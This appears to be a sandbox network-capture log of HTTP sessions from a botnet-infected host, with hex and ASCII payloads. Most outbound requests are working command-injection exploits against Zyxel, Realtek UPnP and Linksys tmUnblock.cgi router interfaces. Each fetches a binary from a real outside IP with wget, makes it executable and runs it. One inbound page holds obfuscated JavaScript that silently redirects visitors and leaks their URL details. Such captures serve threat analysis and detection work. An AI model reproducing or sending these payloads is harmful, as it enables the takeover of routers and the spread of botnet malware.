Mar 21, 2024 05:17:53.075803995 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:12.787807941 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:51.699820995 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.13	42968	200.90.146.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.521518946 CET	614	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.13	57266	66.81.255.69	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.607520103 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.13	57320	66.81.255.69	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:34.698785067 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.13	45394	213.176.9.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.194770098 CET	1384	IN	HTTP/1.1 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 1254 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 6c 48 62 6d 57 43 6d 71 4a 51 22 3e 3c 2f 61 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 20 20 66 75 6e 63 74 69 6f 6e 20 62 63 28 65 29 7b 65 3d 65 7c 7c 33 32 3b 76 61 72 20 74 3d 22 41 42 43 44 45 46 47 48 4a 4b 4d 4e 50 51 52 53 54 57 58 59 5a 61 62 63 64 65 66 68 69 6a 6b 6d 6e 70 72 73 74 77 78 79 7a 32 33 34 35 36 37 38 22 2c 61 3d 74 2e 6c 65 6e 67 74 68 2c 6e 3d 22 22 3b 66 6f 72 28 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 6e 2b 3d 74 2e 63 68 61 72 41 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 61 29 29 3b 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 61 61 61 28 29 7b 63 6f 6e 73 74 20 6d 69 6e 3d 36 3b 63 6f 6e 73 74 20 6d 61 78 3d 31 32 3b 76 61 72 20 69 6e 64 65 78 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 6d 61 78 2d 6d 69 6e 2b 31 29 29 2b 6d 69 6e 3b 72 65 74 75 72 6e 20 62 63 28 69 6e 64 65 78 29 7d 66 75 6e 63 74 69 6f 6e 20 62 62 62 28 29 7b 63 6f 6e 73 74 20 6d 69 6e 3d 31 30 30 30 30 3b 63 6f 6e 73 74 20 6d 61 78 3d 36 30 30 30 30 3b 76 61 72 20 69 6e 64 65 78 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 6d 61 78 2d 6d 69 6e 2b 31 29 29 2b 6d 69 6e 3b 72 65 74 75 72 6e 20 69 6e 64 65 78 7d 76 61 72 20 73 74 72 55 3d 77 69 6e 64 6f 77 2e 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 3d 22 29 2b 61 61 61 28 29 2b 77 69 6e 64 6f 77 2e 61 74 6f 62 28 22 4c 6a 46 79 4f 54 4d 31 4c 6d 4e 76 62 54 6f 3d 22 29 2b 62 62 62 28 29 2b 22 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 29 29 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 29 29 29 2b 22 26 73 3d 22 2b 77 69 6e 64 6f 77 2e 62 74 6f 61 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 29 3b 6c 48 62 6d 57 43 6d 71 4a 51 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 48 62 6d 57 43 6d 71 4a 51 22 29 2e 63 6c 69 63 6b 28 29 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 21 30 2c 21 30 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 48 62 6d 57 43 6d 71 4a 51 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <title>Loading</title> </head> <body> <a href="" id="lHbmWCmqJQ"></a> <script type="text/javascript"> function bc(e){e=e\|\|32;var t="ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",a=t.length,n="";for(i=0;i<e;i++)n+=t.charAt(Math.floor(Math.random()a));return n}function aaa(){const min=6;const max=12;var index=Math.floor(Math.random()(max-min+1))+min;return bc(index)}function bbb(){const min=10000;const max=60000;var index=Math.floor(Math.random()*(max-min+1))+min;return index}var strU=window.atob("aHR0cHM6Ly8=")+aaa()+window.atob("LjFyOTM1LmNvbTo=")+bbb()+"/?u="+window.btoa(unescape(encodeURIComponent(window.location.origin)))+"&p="+window.btoa(unescape(encodeURIComponent(window.location.pathname)))+"&s="+window.btoa(unescape(encodeURIComponent(window.location.search)));lHbmWCmqJQ.href=strU;if(document.all){document.getElementById("lHbmWCmqJQ").click()}else{var e=document.createEvent("MouseEvents");e.initEvent("click",!0,!0),document.getElementById("lHbmWCmqJQ").dispatchEvent(e)} </script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.13	58622	206.2.183.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.246021986 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:35.407241106 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:20:39 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:35.407253981 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:20:39 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.13	44044	172.64.140.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.275944948 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.13	41006	172.65.66.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.276007891 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.13	45180	98.113.79.99	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.277014017 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.13	37866	172.64.87.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.363199949 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	45856	172.67.150.204	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.363795996 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	50080	172.105.244.250	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.532829046 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.13	34682	172.65.252.239	55555

Timestamp	Bytes transferred	Direction	Data
